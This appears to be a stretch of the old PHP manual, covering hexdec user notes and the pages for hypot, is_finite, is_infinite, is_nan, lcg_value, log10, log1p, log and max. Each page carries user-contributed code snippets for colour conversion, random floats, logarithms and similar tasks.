bishop 04-Jun-2005 07:51
Bullet-proof hex-to-rgb colour converter like brian at sagesport dot com wanted, just far fewer code lines. As a bonus, gives you the ability to return as string or array:

<?php
    function &hex2rgb($hex, $asString = true)
    {
        // strip off any leading #
        if (0 === strpos($hex, '#')) {
            $hex = substr($hex, 1);
        } else if (0 === strpos($hex, '&H')) {
            $hex = substr($hex, 2);
        }

        // break into hex 3-tuple
        $cutpoint = ceil(strlen($hex) / 2)-1;
        $rgb = explode(':', wordwrap($hex, $cutpoint, ':', $cutpoint), 3);

        // convert each tuple to decimal
        $rgb[0] = (isset($rgb[0]) ? hexdec($rgb[0]) : 0);
        $rgb[1] = (isset($rgb[1]) ? hexdec($rgb[1]) : 0);
        $rgb[2] = (isset($rgb[2]) ? hexdec($rgb[2]) : 0);

        return ($asString ? "{$rgb[0]} {$rgb[1]} {$rgb[2]}" : $rgb);
    }
?>

Handles 2, 3, and 6 character colour codes with leading # or &H.
Joey Morwick 02-May-2005 01:07
I found it helpful to have the inverse / reverse of this function laying around, since I wanted to insert some binary data into an xmlrpc call (it currently craps out when you do that), and I couldn't find one laying around, so here's a simple little function to do that:

function hex2bin($str) {
    $build = '';
    while(strlen($str) > 1) {
        $build .= chr(hexdec(substr($str, 0, 2)));
        $str = substr($str, 2, strlen($str)-2);
    }
    return $build;
}
rledger at gmail dot com 28-Mar-2005 11:59
To convert a cellular ESN from hexadecimal to decimal, use the following code. The base conversion is different due to the fact that the first two characters of a hexadecimal value must be converted seperately from the remaining six characters.
<?
function esnhexdec($hex){
   $a = sprintf("%03d", hexdec(substr($hex, 0, 2)));
   $b = sprintf("%08d", hexdec(substr($hex, 2, 6)));
   return $a . $b;
}
?>
zubfatal, root at it dot dk 25-Mar-2005 02:36
This replaces my previous class.
I've added a few more input checks in the rgb2hex function.
Also it returned incorrect hex values for 1-digit values.

color::rgb2hex(array(0,0,0)) would output 000 not 00000.

<?php

/**
* Convert colors
*
* Usage:
*  color::hex2rgb("FFFFFF")
*  color::rgb2hex(array(171,37,37))
*
* @author      Tim Johannessen <root@it.dk>
* @version     1.0.1
*/

class color {

    /**
     * Convert HEX colorcode to an array of colors.
     * @return      array        Returns the array of colors as array(red,green,blue)
     */

    function hex2rgb($hexVal = "") {
        $hexVal = eregi_replace("[^a-fA-F0-9]", "", $hexVal);
        if (strlen($hexVal) != 6) { return "ERR: Incorrect colorcode, expecting 6 chars (a-f, 0-9)"; }
        $arrTmp = explode(" ", chunk_split($hexVal, 2, " "));
        $arrTmp = array_map("hexdec", $arrTmp);
        return array("red" => $arrTmp[0], "green" => $arrTmp[1], "blue" => $arrTmp[2]);
    }

    /**
     * Convert RGB colors to HEX colorcode
     * @return      string        Returns the converted colors as a 6 digit colorcode
     */
    function rgb2hex($arrColors = null) {
        if (!is_array($arrColors)) { return "ERR: Invalid input, expecting an array of colors"; }
        if (count($arrColors) < 3) { return "ERR: Invalid input, array too small (3)"; }

        array_splice($arrColors, 3);

        for ($x = 0; $x < count($arrColors); $x++) {
            if (strlen($arrColors[$x]) < 1) {
                return "ERR: One or more empty values found, expecting array with 3 values";
            }

            elseif (eregi("[^0-9]", $arrColors[$x])) {
                return "ERR: One or more non-numeric values found.";
            }

            else {
                if ((intval($arrColors[$x]) < 0) || (intval($arrColors[$x]) > 255)) {
                    return "ERR: Range mismatch in one or more values (0-255)";
                }

                else {
                    $arrColors[$x] = strtoupper(str_pad(dechex($arrColors[$x]), 2, 0, STR_PAD_LEFT));
                }
            }
        }

        return implode("", $arrColors);
    }

}

?>
brian at sagesport dot com 22-Mar-2005 09:08
The issue I've seen with the existing hex to dec conversion routines is the lack of error-trapping.  I stick to the theory that one should try to cover ALL the bases when writing a generalized routine such as this one.  I have a varied background that covers a wide variety of design/development languages, on the web as well as desktop apps.  As such I've seen multiple formats for writing hex colors.

For example, the color red COULD be written as follows:
#ff0000
&Hff0000
#ff
&Hff

Therefore I have written a function that is case-insensitive and takes into account the chance that different developers have a tendency to format hex colors in different ways.

<?php
  function convert_color($hex){
    $len = strlen($hex);
    $chars = array("#","&","H","h");
    $hex = strip_chars($hex, $chars);
    preg_match("/([0-9]|[A-F]|[a-f]){".$len."}/i",$hex,$arr);
    $hex = $arr[0];
    if ($hex) {
      switch($len) {
        case 2:
          $red = hexdec($hex);
          $green = 0;
          $blue = 0;
          break;
        case 4:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = 0;
          break;
        case 6:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = hexdec(substr($hex,4,2));
          break;
      };
      $color[success] = true;
      $color[r] = $red;
      $color[g] = $green;
      $color[b] = $blue;
      return $color;
    } else {
      $color[success] = false;
      $color[error] = "unable to convert hex to dec";
    };
  }

  function strip_chars($string, $char){
    $len = strlen($string);
    $count = count($char);
    if ($count >= 2) {
      for ($i=0;$i<=$count;$i++) {
        if ($char[$i]) {
          $found = stristr($string,$char[$i]);
          if ($found) {
            $val = substr($string,$found+1,$len-1);
            $string = $val;
          };
        };
      };
    } else {
      $found = stristr($string,$char);
      if ($found) {
        $val = substr($string,$found+1,$len-1);
      };
    };
    echo $val;
    return $val;
  }

  /*
    To use simply use the following function call:
      $color = convert_color("#FF");
      this will return the following assoc array if successful:
      *[success] = true
      *[r] = 255
      *[g] = 0
      *[b] = 0

      or copy and paste the following code:

      $hex = "FFFFFF"; // Color White
      $color = convert_color($hex);
      var_dump($color);
 */
?>

As you can see, the function "convert_color" accepts a hex # in most acceptable formats and returns an associative array.  [success] is set to TRUE if the function succeeds and FALSE if not.  The array members [r], [g] and [b] hold the red,green and blue values respectively.  If it fails, [error] holds a custom error message.

"strip_chars" is a support function written to remove the unwanted characters from the hex string, and sends the concatenated string back to the calling function.  It will accept either a single value or an array of values for the characters to remove.
groobo 10-Feb-2005 11:46
It's just a revision to marfastic's ligten_up script, it simply adds/subtracts mod_color to orig_color.
I use it often to adjust tonals rather than brightness only

<?
function mod_color($orig_color, $mod, $mod_color){
    /*
        $orig_color - original html color, hex
        $mod_color - modifying color, hex
        $mod - modifier '+' or '-'
        usage: mod_color('CCCCCC', '+', '000033')
    */
    // does quick validation
    preg_match("/([0-9]|[A-F]){6}/i",$orig_color,$orig_arr);
    preg_match("/([0-9]|[A-F]){6}/i",$mod_color,$mod_arr);
    if ($orig_arr[0] && $mod_arr[0]) {
        for ($i=0; $i<6; $i=$i+2) {
            $orig_x = substr($orig_arr[0],$i,2);
            $mod_x = substr($mod_arr[0],$i,2);
            if ($mod == '+') { $new_x = hexdec($orig_x) + hexdec($mod_x); }
            else { $new_x = hexdec($orig_x) - hexdec($mod_x); }
            if ($new_x < 0) { $new_x = 0; }
            else if ($new_x > 255) { $new_x = 255; };
            $new_x = dechex($new_x);
            $ret .= $new_x;
        }
        return $ret;
    } else { return false; }
}
?>
19-Jan-2005 09:33
I wondered long time what is the best way to generate RGB-color from HEX-color, and just now i found the simpliest way!

<?php
$hex = "FF00FF";
$rgb = hexdec($hex); // 16711935
?>

I hope this will save your time! :)
marfastic 10-Dec-2004 07:14
Here is a function to brighten up any color:

function lighten_up($orig_color, $fraction_denom){
            // return the color between the color and white
            // based on the fraction denom that is passed

            if(!isset($fraction_denom))
                $fraction_denom = 2;
            $highest_val = hexdec("FF");
            $r = hexdec(substr($orig_color,0,2));
            $r = ($highest_val-$r)/$fraction_denom + $r;
            $g = hexdec(substr($orig_color,2,2));
            $g = ($highest_val-$g)/$fraction_denom + $g;
            $b = hexdec(substr($orig_color,4,2));
            $b = ($highest_val-$b)/$fraction_denom + $b;
            return dechex($r) . dechex($g) . dechex($b);
        }
_meto ALT+q web.de 08-May-2004 09:00
Damn, this took me some real long time! Maybe it's helpfull for those who even have no idea of color-Schemes like me ;)

If u want to generate PDF's for Print Offices u need to set all the colors in CMYK.

Here is a Function that will convert RGB to CMYK

<?
function hex2rgb($hex) {
  $color = str_replace('#','',$hex);
  $rgb = array('r' => hexdec(substr($color,0,2)),
               'g' => hexdec(substr($color,2,2)),
               'b' => hexdec(substr($color,4,2)));
  return $rgb;
}

function rgb2cmyk($var1,$g=0,$b=0) {
   if(is_array($var1)) {
      $r = $var1['r'];
      $g = $var1['g'];
      $b = $var1['b'];
   }
   else $r=$var1;
   $cyan    = 255 - $r;
   $magenta = 255 - $g;
   $yellow  = 255 - $b;
   $black   = min($cyan, $magenta, $yellow);
   $cyan    = @(($cyan    - $black) / (255 - $black)) * 255;
   $magenta = @(($magenta - $black) / (255 - $black)) * 255;
   $yellow  = @(($yellow  - $black) / (255 - $black)) * 255;
   return array('c' => $cyan / 255,
                'm' => $magenta / 255,
                'y' => $yellow / 255,
                'k' => $black / 255);
}

$color=rgb2cmyk(hex2rgb('#FF0000'));
pdf_setcolor($pdf, "both", "cmyk", $color['c'], $color['m'], $color['y'], $color['k']);
?>

U can call it with parameters (r,g,b) or just with an array(r,g,b) that contains these values.

Hope it works correct. All testing was fine.
gelado at ip3 dot com 29-Aug-2003 04:30
Another hex to decimal converter, up to the precision of PHP floats.

function longhex($hex)
{
    $dec = 0;
    $bitval = 1;
    for($pos = 1; $pos <= strlen($hex); $pos++) {
        $dec += hexdec(substr($hex, -$pos, 1)) * $bitval;
        $bitval *= 16;
    }
    return($dec);
}
henrique at recidive dot com 27-May-2003 03:43
Function to convert a string with hexadecimal colors to an associative array with RGB values:

<?
function hex2dec($hex) {
  $color = str_replace('#', '', $hex);
  $ret = array(
    'r' => hexdec(substr($color, 0, 2)),
    'g' => hexdec(substr($color, 2, 2)),
    'b' => hexdec(substr($color, 4, 2))
  );
  return $ret;
}

/*** Example:
print_r(hex2dec('3D58BE'));

or

print_r(hex2dec('#3D58BE'));

will return

Array
(
  [r] => 61
  [g] => 88
  [b] => 190
)
***/
?>

Thanks !

Henrique Recidive
andreas.schmeiler 05-Feb-2003 05:59
Here's another hex2bin variant, works pretty well to me.

function hex2bin($hexdata) {

   for ($i=0;$i<strlen($hexdata);$i+=2) {
      $bindata.=chr(hexdec(substr($hexdata,$i,2)));
   }

   return $bindata;
}
chrism at four dot net 15-Dec-2001 10:02
hexdec from 4.1.0 onwards does not show
the same size limitation and therefore
works differently with large numbers than previous php versions.

To obtain the same results, use:

(int) hexdec (...)
andychase at yahoo dot com 17-Jan-2001 06:32
For hex numbers larger than 7FFFFFFF (E.G. PalmOS dates in seconds elapsed since 01/01/1904), I came up with this:

<?php
function bighexdec($hexnumber){

    $numlength = strlen($hexnumber);

    $decnumber = 0;

    for($x = 1; $x <= $numlength; $x++){

        $place = $numlength - $x;

        $operand = hexdec(substr($hexnumber,$place,1));

        $exponent = pow(16,$x-1);

        $decValue = $operand * $exponent;

        $decnumber += $decValue;

    }
    return $decnumber;
}
?>
getrandmax
hypot
Math Functions


Calculate the length of the hypotenuse of a right-angle triangle

hexdec
is_finite
Math Functions
PHP Manual

hypot

(PHP 4 >= 4.1.0, PHP 5)

hypot — Calculate the length of the hypotenuse of a right-angle triangle

Description

float hypot ( float $x , float $y )

hypot() returns the length of the hypotenuse of a right-angle triangle with sides of length x and y, or the distance of the point (x, y) from the origin. This is equivalent to sqrt(x*x + y*y).

Parameters

x

Length of first side

y

Length of second side

Return Values

Calculated length of the hypotenuse

User Contributed Notes

</Life>.org 10-Aug-2006 02:56
to robinv at ecosse dot net:

hypo(a, b, c) === hypo(a, hypo(b, c))
hypo(a, b, c, d) === hypo(a, hypo(b, hypo(c, d)))
...
R. Victor Klassen 24-Jun-2005 08:03
A correct implementation of hypot( x, y ) avoids the overflow that might otherwise happen if either x or y is large enough that when squared it would overflow, but the answer is small enough not to cause overflow.
robinv at ecosse dot net 07-Jan-2004 09:18
A simpler approach would be to allow an arbitrary number of parameters. That would allow for whatever number of dimensions you want *and* it would be backwards compatible with the current implementation.

<?php

function hypo()
{
    $sum = 0;
    foreach (func_get_args() as $dimension) {
        if (!is_numeric($dimension)) return -1;
        $sum += pow($dimension, 2);
    }
    return sqrt($sum);
}

print hypo();          // vector in 0 dimensions, magnitude = 0.
print hypo(1);         // vector in 1 dimension,  magnitude = 1.
print hypo(3, 4);       // vector in 2 dimensions, magnitude = 5.
print hypo(2, 3, 6);     // vector in 3 dimensions, magnitude = 7.

?>
hexdec
is_finite
Math Functions


Finds whether a value is a legal finite number

hypot
is_infinite
Math Functions
PHP Manual

is_finite

(PHP 4 >= 4.2.0, PHP 5)

is_finite — Finds whether a value is a legal finite number

Description

bool is_finite ( float $val )

Checks whether val is a legal finite on this platform.

Parameters

val

The value to check

Return Values

TRUE if val is a legal finite number within the allowed range for a PHP float on this platform, else FALSE.

See Also

  • is_infinite() - Finds whether a value is infinite
  • is_nan() - Finds whether a value is not a number

User Contributed Notes

There are no user contributed notes for this page.
hypot
is_infinite
Math Functions


Finds whether a value is infinite

is_finite
is_nan
Math Functions
PHP Manual

is_infinite

(PHP 4 >= 4.2.0, PHP 5)

is_infinite — Finds whether a value is infinite

Description

bool is_infinite ( float $val )

Returns TRUE if val is infinite (positive or negative), like the result of log(0) or any value too big to fit into a float on this platform.

Parameters

val

The value to check

Return Values

TRUE if val is infinite, else FALSE.

See Also

  • is_finite() - Finds whether a value is a legal finite number
  • is_nan() - Finds whether a value is not a number

User Contributed Notes

stangelanda at arrowquick dot com 28-Aug-2007 07:29
Actually any string ending in INF is more appropriate than any string beginning with INF.  Since negative infinity evaluates to "-INF" but it is still infinite.  However in either case the STRING "INF" is not infinite, only a float that converts to "INF" or "-INF" is infinite.

A more appropriate function might be:
<?php
if (!is_defined('is_infinite')) { function is_infinite($val) {
    return (is_float($val) and ("$val"=='INF' or "$val"=='-INF'));
} }
?>
* However the above function is untested.
21-Aug-2006 08:54
@ david,

That will return true for any string ending with "INF".
I think substr("$value",0,3) would be more appropriate.
david(@t)nirvanis(d@t)org 31-Aug-2004 02:49
If you have PHP lower than 4.2 you can simulate the behaviour:

function is_infinite($value) {
   return (substr("$value",-3) == "INF");
}

(tested on php 4.1.2)
is_finite
is_nan
Math Functions


Finds whether a value is not a number

is_infinite
lcg_value
Math Functions
PHP Manual

is_nan

(PHP 4 >= 4.2.0, PHP 5)

is_nan — Finds whether a value is not a number

Description

bool is_nan ( float $val )

Checks whether val is 'not a number', like the result of acos(1.01).

Parameters

val

The value to check

Return Values

Returns TRUE if val is 'not a number', else FALSE.

Examples

Example #1 is_nan() example

<?php
// Invalid calculation, will return a
// NaN value
$nan = acos(8);

var_dump($nan, is_nan($nan));
?>

The above example will output:

float(NAN)
bool(true)

See Also

  • is_finite() - Finds whether a value is a legal finite number
  • is_infinite() - Finds whether a value is infinite

User Contributed Notes

php at keith tyler dot com 14-Apr-2010 04:46
It seems odd to me, but in boolean context, NAN evalutes to true.

<?php
var_dump(acos(8));
var_dump((bool)acos(8));
?>

Returns:

float(NAN)
bool(true)

Incidentally INF and -INF also evaluate to true.
J.K. 07-Jul-2009 04:44
For seeing whether or not something is a number, use ctype_digit().
darkangel at moveinmod dot net 01-Mar-2006 10:04
nan/"not a number" is not meant to see if the data type is numeric/textual/etc..

NaN is actually a set of values which can be stored in floating-point variables, but dont actually evaluate to a proper floating point number.

The floating point system has three sections: 1 bit for the sign (+/-), an 8 bit exponent, and a 23 bit fractional part.
There are rules governing which combinations of values can be placed into each section, and some values are reserved for numbers such as infinity. This leads to certain combinations being invalid, or in other words, not a number.
Sku 04-Dec-2005 01:29
Hi nez,

better would be:

function isNaN( $var ) {
     return !ereg ("^[-]?[0-9]+([\.][0-9]+)?$", $var);
}

ys, Sku
nez [at] NOSPAM gazeta [dot] pl 26-Sep-2005 01:27
Paul, i guess better would be:

function isNaN( $var ) {
     return ereg ("^[-]?[0-9]+([\.][0-9]+)?$", $var);
}
Vincent 23-Feb-2005 06:04
Since NaN is not even equal to itself, here is a way to test it:

<?php

function my_is_nan($_) {
return ($_ !== $_);
}

?>
is_infinite
lcg_value
Math Functions


Combined linear congruential generator

is_nan
log10
Math Functions
PHP Manual

lcg_value

(PHP 4, PHP 5)

lcg_value — Combined linear congruential generator

Description

float lcg_value ( void )

lcg_value() returns a pseudo random number in the range of (0, 1). The function combines two CGs with periods of 2^31 - 85 and 2^31 - 249. The period of this function is equal to the product of both primes.

Return Values

A pseudo random float value in the range of (0, 1)

See Also

  • rand() - Generate a random integer
  • mt_rand() - Generate a better random value

User Contributed Notes

daniel dot baulig at gmx dot de 03-Feb-2010 07:16
Choose your weapon:
<?php
function mt_randf($min, $max)
{
    return $min + abs($max - $min) * mt_rand(0, mt_getrandmax())/mt_getrandmax();
}
function lcg_randf($min, $max)
{
    return $min + lcg_value() * abs($max - $min);
}
function randf($min, $max)
{
    return $min + rand(0,getrandmax()) / getrandmax() * abs($max - $min);
}?>
jfdsmit at gmail dot com 17-Dec-2007 06:44
Be warned, the function provided by mr dot joebert at gmail dot com has a serious tendency to return $min more often than anything else, especially when $min and $max are close. It also will never return $max if $min is negative. rok kralj gmail com's implementation does not have this problem, as it operates on the difference between $max and $min instead of $max itself.
rok kralj gmail com 05-Jun-2007 08:54
An elegant way to return random float between two numbers:

<?php
function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
?>
is_nan
log10
Math Functions


Base-10 logarithm

lcg_value
log1p
Math Functions
PHP Manual

log10

(PHP 4, PHP 5)

log10 — Base-10 logarithm

Description

float log10 ( float $arg )

Returns the base-10 logarithm of arg.

Parameters

arg

The argument to process

Return Values

The base-10 logarithm of arg

See Also

  • log() - Natural logarithm

User Contributed Notes

jphansen at uga dot edu 22-Jun-2011 06:31
Alternatively log(x, 10) may be used.
smalladi at lexgen dot com 20-Nov-2001 03:47
Note that log of a negative or undefined number returns -Infinity.
lcg_value
log1p
Math Functions


Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero

log10
log
Math Functions
PHP Manual

log1p

(PHP 4 >= 4.1.0, PHP 5)

log1p — Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero

Description

float log1p ( float $number )

log1p() returns log(1 + number) computed in a way that is accurate even when the value of number is close to zero. log() might only return log(1) in this case due to lack of precision.

Parameters

number

The argument to process

Return Values

log(1 + number)

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • expm1() - Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero
  • log() - Natural logarithm
  • log10() - Base-10 logarithm

User Contributed Notes

11-Sep-2002 02:29
Note that the benefit of this function for small argument values is lost if PHP is compiled against a C library that that not have builtin support for the log1p() function.

In this case, log1p() will be compiled by using log() instead, and the precision of the result will be identical to log(1), i.e. it will always be 0 for small numbers.
Sample log1p(1.0e-20):
- returns 0.0 if log1p() is approximated by using log()
- returns something very near from 1.0e-20, if log1p() is supported by the underlying C library.

One way to support log1p() correctly on any platform, so that the magnitude of the expected result is respected:

function log1p($x) {
return ($x>-1.0e-8 && $x<1.0e-8) ? ($x - $x*$x/2) : log(1+$x);
}

If you want better precision, you may use a better limited development, for small positive or negative values of x:

log(1+x) = x - x^2/2 + x^3/3 - ... + (-1)^(n-1)*x^n/n + ...

(This serial sum converges only for values of x in [0 ... 1] inclusive, and the ^ operator in the above formula means the exponentiation operator, not the PHP xor operation)

Note that log1p() is undefined for arguments lower than or equal to -1, and that the implied base of the log function is the Neperian "e" constant.
log10
log
Math Functions


Natural logarithm

log1p
max
Math Functions
PHP Manual

log

(PHP 4, PHP 5)

log — Natural logarithm

Description

float log ( float $arg [, float $base = M_E ] )

If the optional base parameter is specified, log() returns logbase arg, otherwise log() returns the natural logarithm of arg.

Parameters

arg

The value to calculate the logarithm for

base

The optional logarithmic base to use (defaults to 'e' and so to the natural logarithm).

Return Values

The logarithm of arg to base, if given, or the natural logarithm.

Changelog

Version | Description
Since 4.3.0 | The optional parameter base became available. For older versions you can calculate the logarithm in base b of a number n, but using the mathematical identity: logb(n) = log(n)/log(b), where log is the neperian (or natural) logarithm.

See Also

  • log10() - Base-10 logarithm
  • exp() - Calculates the exponent of e
  • pow() - Exponential expression

User Contributed Notes

olafurw [at] gmail.com 04-Nov-2008 04:56
For those interested. Works with older than 4.3 versions.

<?php
    function byteConvert($bytes)
    {
        $s = array('B', 'Kb', 'MB', 'GB', 'TB', 'PB');
        $e = floor(log($bytes)/log(1024));

        return sprintf('%.2f '.$s[$e], ($bytes/pow(1024, floor($e))));
    }
?>
dingus_76 at hotmail dot com 15-May-2008 07:41
well i been pulling my hair out trying to get log to work with big numbers and i ended up writing a bclog function so to save everyone else the stress here it is

<?php
function bclog($X,$base=10,$decimalplace=12){
    $integer_value=0;
    while($X < 1){
        $integer_value = $integer_value - 1 ;
        $X = bcmul($X , base);
    }
    while($X >= $base){
        $integer_value = $integer_value + 1;
        $X = bcdiv($X , $base );
    }
    $decimal_fraction = 0.0;
    $partial = 1.0;
    # Replace X with X to the 10th power
    $X = bcpow($X , 10);
    while($decimalplace > 0){
        $partial = bcdiv($partial , 10);
        $digit=0;
        while($X >= $base){
              $digit = $digit + 1;
              $X = bcdiv($X , $base);
        }
        $decimal_fraction = bcadd($decimal_fraction , bcmul($digit , $partial));
        # Replace X with X to the 10th power
        $X = bcpow($X , 10);
        $decimalplace = $decimalplace - 1 ;
    }
    return $integer_value + $decimal_fraction ;
}
?>
Ulf Wostner 06-Aug-2006 05:56
<?php

#--------------------------------------------------------
#     How many digits does an integer have?
#--------------------------------------------------------

function digit_count($n, $base=10) {

  if($n == 0) return 1;

  if($base == 10) {
    # using the built-in log10(x)
    # might be more accurate than log(x)/log(10).
    return 1 + floor(log10(abs($n)));
  }else{
    # here  logB(x) = log(x)/log(B) will have to do.
   return 1 + floor(log(abs($n))/ log($base));
  }
}

# Example:  How many decimal digits for 2 to the power 24?
echo digit_count(pow(2, 24));

# Example: How many bits to write 1 billion in binary, last century?

if($country_code  == 'US') echo digit_count(pow(10, 9), 2);
if($country_code == 'UK') echo digit_count(pow(10, 12), 2);

#--------------------------------------------------------
#     Using log to format columns.
#--------------------------------------------------------

# Suppose we have a dynamically generated list of integers,
# and want to present them as a table. The use of log10 in
# our digit_count helps calculate the proper format string.

function print_list_of_ints($ints, $line_width=40) {

  # Apply our digit_count to the max int among ints.
  $field_width = 2 + digit_count(max($ints));

  # Create format string for printf.
  $format = "%${field_width}d";

  $ints_per_line = floor($line_width/$field_width);

  $border = str_repeat("-", $ints_per_line * $field_width);

  echo "\n$border\n";

  foreach($ints as $count => $int) {
    if( $count and ($count % $ints_per_line == 0)) echo "\n";
    printf($format, $int);
  }

  echo "\n$border\n";
}

# To generate an example, here is a basic function
# returning a list of (pseudo) random numbers.

function rands($how_many) {
  for($i=0; $i < $how_many; $i++) $rands[] = rand();
  return $rands;
}

# Example:  A list of random ints dynamically formatted into columns.

print_list_of_ints(rands(11));

/* Sample output. Numbers and fonts vary. Visualize monospace!

------------------------------------
  1093146637   244503173  1346204527
   638304372   140216732  1054707210
   573915416  1728677954  2038899669
   534854768    12674586
------------------------------------

*/

?>
mcmeijer at yahoo dot com 03-Feb-2005 07:22
$val = 1000000
$val2 = floor(log($val,10)) gives a value of 5 for $val2 and not 6 as expected.
$val2 = floor(log10($val)) gives the correct value.
c0x at mail dot ru 19-Sep-2004 03:08
more general version, works fine on negative, very big ($value > 1E+18) and very small ($value < 1E-18) numbers.

function expn($value, $prec = 3, $base = 1000, $prefix = '') {
    $e = array('a', 'f', 'p', 'n', 'u', 'm', '', 'k', 'M', 'G', 'T', 'P', 'E');
    $p = min(max(floor(log(abs($value), $base)), -6), 6);
    return round((float)$value / pow($base, $p), $prec) . $prefx . $e[$p + 6];
}
admin at worldtakeover dot tk 20-Jun-2004 01:06
In regards to the note about log in base 10 and the round() function. You need to use floor() instead of round() to find out the order of magnitude. That way, you don't have to worry about subtracting 0.5 or whatever.
mightye (at) mightye.org 06-Feb-2003 12:02
A minor warning:

in PHP < 4.3.0, in order to get the log base 10 of a number, you have to do:
$log10 = log($n)/log(10);

If you want a whole number (to identify the order of magnitude), and you typecast $log10 to (int), you may not get what you expect:
(int)(log(1000)/log(10)) = 2
(log(1000)/log(10)) = 3 (float with no displayed decimal places)

The mathematical error in this causes the typecast to round the result down, even though the error runs out to so many decimal places that it is not displayed, and the float value looks like a whole number.  Instead you may need to do:
round(log($n)/log(10)-0.5,0);

This will give you the order of magnitude of your number.

Presumably in PHP 4.3.0+, a similar result may occur.
log1p
max
Math Functions


Find highest value

log
min
Math Functions
PHP Manual

max

(PHP 4, PHP 5)

max — Find highest value

Description

mixed max ( array $values )
mixed max ( mixed $value1 , mixed $value2 [, mixed $value3... ] )

If the first and only parameter is an array, max() returns the highest value in that array. If at least two parameters are provided, max() returns the biggest of these values.

Note:

PHP will evaluate a non-numeric string as 0 if compared to integer, but still return the string if it's seen as the numerically highest value. If multiple arguments evaluate to 0, max() will return a numeric 0 if given, else the alphabetical highest string value will be returned.

Parameters

values

An array containing the values.

Return Values

max() returns the numerically highest of the parameter values. If multiple values can be considered of the same size, the one that is listed first will be returned.

When max() is given multiple arrays, the longest array is returned. If all the arrays have the same length, max() will use lexicographic ordering to find the return value.

When given a string it will be cast as an integer when comparing.

Examples

Example #1 Example uses of max()

<?php
echo max(1, 3, 5, 6, 7);  // 7
echo max(array(2, 4, 5)); // 5

// When 'hello' is cast as integer it will be 0. Both the parameters are equally
// long, so the order they are given in determines the result
echo max(0, 'hello');     // 0
echo max('hello', 0);     // hello

echo max('42', 3); // '42'

// Here 0 > -1, so 'hello' is the return value.
echo max(-1, 'hello');    // hello

// With multiple arrays of different lengths, max returns the longest
$val = max(array(2, 2, 2), array(1, 1, 1, 1)); // array(1, 1, 1, 1)

// With multiple arrays of the same length, max compares from left to right
// using lexicographic order, so in our example: 2 == 2, but 4 < 5
$val = max(array(2, 4, 8), array(2, 5, 7)); // array(2, 5, 7)

// If both an array and non-array are given, the array
// is always returned as it's seen as the largest
$val = max('string', array(2, 5, 7), 42);   // array(2, 5, 7)
?>

See Also

  • min() - Find lowest value
  • count() - Count all elements in an array, or something in an object

User Contributed Notes

sun at drupal dot org 03-Aug-2011 11:25
Note that max() throws a warning if the array is empty:

<?php
$a = array();
max($a);
// Warning: max(): Array must contain at least one element
?>

So make sure your data isn't empty.
php at rijkvanwel dot nl 12-Apr-2011 02:08
To get the largest key in an array:

<?php
$array = array( 0 => 'first', 1=> 'second', /* ... */ 99 => 'nth' );
$max_key = max( array_keys( $array ) ); // 99
?>
Alex Stanhope 28-Oct-2010 03:00
If you want to test whether x lies within two bounds:

<?php
    static function isInRange($x, $y1, $y2) {
        return( ($x >= min($y1, $y2)) && ($x <= max($y1, $y2)) );
    }

//called by:

   class::isInRange(10,12,2);
//or
   $this->isInRange(10,12,2);
//or (drop static)
   isInRange(10,12,2);

//simple test function:

    static function unit_isInRange() {
        $output = array();
        $inputlist[] = array(10, 12, 2, true);
        $inputlist[] = array(13, 12, 2, false);
        $inputlist[] = array(2, -2, 2, true);
        $inputlist[] = array(2, -8, -2, false);
        foreach($inputlist as $input) {
            $output[] = array(
                'input' => array($input[0], $input[1], $input[2]),
                'output' => self::isInRange($input[0],$input[1],$input[2]),
                'expected' => $input[3],
            );
        }
        return($output);
    }
?>
dan at coders dot co dot nz 22-May-2010 11:29
max() on undefined parameters does not assume the value is zero, it ignores it.
<?php
$dimensions = array('left' => -2);
// If $dimensions['right'] was never set,
// we may expect it to be treated as zero, but
print max($dimensions['left'], $dimensions['right']);
//
// Returns -2, not zero

print max(0+$dimensions['left'], 0+$dimensions['right']);
?>
would be a work-around, but it's probably tidier to ensure your values are set correctly first.

(on PHP 5.2.11 anyway)
Alex Rath 10-Apr-2010 11:27
Notice that whenever there is a Number in front of the String, it will be used for Comparison.

<?php

  max('7iuwmssuxue', 1); //returns 7iuwmssuxu
  max('-7suidha', -4); //returns -4

?>

But just if it is in front of the String

<?php

  max('sdihatewin7wduiw', 3); //returns 3

?>
grillen at abendstille dot at 02-Apr-2010 03:55
max only accepts not empty arrays.

if you work a lot with numerical arrays and with max, this function may come in handy:

<?php
if (!function_exists('emax')) {
    function emax($arr) {
        if (!is_array($arr)) return call_user_func_array('max', func_get_args());
        if (count($arr) == 0) return 0;
        return max($arr);
    }
}
?>
artem dot yagutyan at gmail dot com 27-Mar-2010 03:28
This Is Good Example: For max to min

<?php

function max_key($array) {
foreach ($array as $key => $val) {
    if ($val == max($array)) return $key;
    }
}

$array = array(10, 2, 5, 7, 4,15,32,8,41,25);
$array_count=count($array);
for($i=1;$i<=$array_count;$i++){
    $max_val[$i]=max_key($array);

    $view=$array[$max_val[$i]];

    unset($array[$max_val[$i]]);

    print $view."<br />"; //
}

/* OUTPUT
41 // Max
32
25
15
10
8
7
5
4
2 //Min
*/

?>
marcini 11-May-2009 07:34
Note that max() can compare dates, so if you write something like this:

<?php
$dates = array('2009-02-15', '2009-03-15');
echo max($dates);
?>

you will get: 2009-03-15.
ries at vantwisk dot nl 09-Nov-2008 06:36
I had several occasions that using max is a lot slower then using a if/then/else construct. Be sure to check this in your routines!

Ries
Marcus Zacco 29-Sep-2008 09:47
This code loops through seven arrays and finds the highest average value within those arrays - and changes the font color for it. Great for highlighting.

The biggest take-away is this the row
if($average[$i] == max($average))

The number_format just rounds the numbers to 0 decimal points.

<?php
for ( $i = 0; $i <= 6; $i++) {
  $num = $i+1;
  if($average[$i] == max($average)) {
    echo "Value ".$num.": <font color='red'>".number_format($average[$i], 0, '.', '')." % </font<br>";
  } else {
    echo "Value ".$num.": ".number_format($average[$i],0,'.','')." %<br>";
  }
}
?>

### OUTPUT

Value 1: 52 %
Value 2: 58 %
Value 3: 56 %
Value 4: 73 %
Value 5: 77 % <- this 77 is highlighted in red
Value 6: 71 %
Value 7: 75 %
harmor 21-Feb-2008 09:56
A way to bound a integer between two values is:

<?php
function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}
